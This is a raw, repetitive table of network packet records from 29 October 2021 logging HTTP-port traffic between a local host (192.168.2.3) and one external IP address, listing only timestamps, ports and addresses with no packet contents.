Oct 29, 2021 14:10:53.011607885 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011615038 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011632919 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011671066 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011708975 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011748075 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011761904 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011770964 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011785030 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011822939 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011861086 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.011912107 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.011919975 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.012124062 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.012180090 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.012228966 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.012267113 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.012305021 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.012319088 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.012327909 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.012345076 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.012382030 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.012397051 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.012420893 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.012517929 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.058931112 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.058988094 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059029102 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059079885 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059135914 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059148073 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.059194088 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059221029 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.059276104 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.059288025 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059345007 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059402943 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059461117 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059516907 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059524059 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.059540987 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.059567928 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059611082 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059652090 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059659004 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.059691906 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059731007 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059770107 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059778929 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.059808969 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059812069 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.059894085 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.059905052 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059946060 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.059982061 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060020924 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060049057 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.060059071 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060081959 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.060097933 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060136080 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060172081 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060178995 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.060209990 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060234070 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.060285091 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060324907 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060350895 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.060362101 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060431957 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060472012 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060507059 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060524940 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.060539961 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.060544968 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060597897 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060655117 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060663939 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.060693979 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060714006 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.060762882 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060802937 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060892105 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060899973 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.060933113 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.060951948 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.060971975 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.061009884 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.061036110 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.061048031 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.061085939 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.061089039 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.061125040 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.061163902 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.061192989 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.061202049 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.061240911 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.108007908 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108063936 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108170986 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.108248949 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108290911 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108326912 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108366966 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108405113 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108437061 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.108442068 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108447075 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.108498096 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108517885 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.108537912 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108575106 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108613014 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108649969 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108664989 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.108678102 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.108688116 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108726978 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108764887 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108804941 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108815908 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.108825922 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.108864069 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108912945 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108949900 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.108988047 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109006882 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109019041 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109030008 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109066963 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109107018 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109144926 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109163046 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109174967 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109186888 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109225988 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109262943 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109301090 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109311104 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109322071 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109338999 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109375954 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109412909 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109451056 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109467030 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109478951 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109489918 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109529972 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109565973 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109605074 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109615088 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109627962 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109646082 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109683037 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109720945 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109756947 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109771967 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109781981 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109796047 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109836102 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109872103 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109890938 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109910965 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109935999 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.109950066 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.109987020 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.110025883 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.110080004 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.110093117 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.156810999 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.156965017 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157066107 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157119036 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157119036 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.157156944 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157196999 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157234907 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.157236099 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157243967 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.157274008 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157311916 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157351971 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157367945 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.157391071 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157429934 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157461882 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.157466888 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157506943 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157526016 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.157547951 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157586098 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157599926 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.157624960 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157663107 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157700062 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157721996 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.157735109 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.157737017 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157776117 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157814026 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157852888 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157869101 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.157879114 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.157891035 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157927990 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.157964945 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158004045 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.158014059 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.158085108 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158126116 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158162117 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158200026 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158231020 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.158240080 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158277035 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158314943 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158325911 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.158338070 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.158356905 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158394098 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158431053 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158468008 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158485889 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.158495903 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.158507109 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158611059 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158699989 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158739090 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158755064 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.158763885 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.158778906 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158905029 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158943892 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.158983946 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159001112 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159013033 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159101009 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159142017 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159179926 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159215927 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159221888 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159233093 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159254074 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159292936 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159328938 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159359932 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159365892 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159369946 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159456968 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159495115 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159532070 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159568071 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159586906 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159600019 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159605980 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159645081 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159730911 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159789085 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159805059 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159806967 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159847021 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159883976 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159921885 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159949064 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159959078 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.159979105 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.159998894 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160039902 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160077095 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160115004 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160121918 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.160132885 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.160187960 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160258055 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160296917 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160335064 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160370111 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160389900 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.160402060 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.160408020 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160445929 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160463095 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.160486937 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160526037 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160554886 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.160562038 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160582066 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.160599947 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160638094 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160674095 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160711050 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160726070 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.160737038 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.160748005 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160836935 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160900116 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160937071 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.160955906 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.160970926 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.160975933 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161015034 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161052942 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161089897 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161099911 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.161112070 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.161129951 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161165953 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161202908 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161231995 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.161276102 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.161328077 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161366940 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161406040 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161442041 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161457062 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.161479950 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161519051 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161551952 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.161557913 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161577940 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.161595106 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161640882 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161688089 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.161735058 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161761999 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.161802053 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.161815882 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161854982 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.161932945 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.164283037 CEST	50078	80	192.168.2.3	194.180.174.181
Oct 29, 2021 14:10:53.209539890 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.209595919 CEST	80	50078	194.180.174.181	192.168.2.3
Oct 29, 2021 14:10:53.209636927 CEST	80	50078	194.180.174.181	192.168.2.3
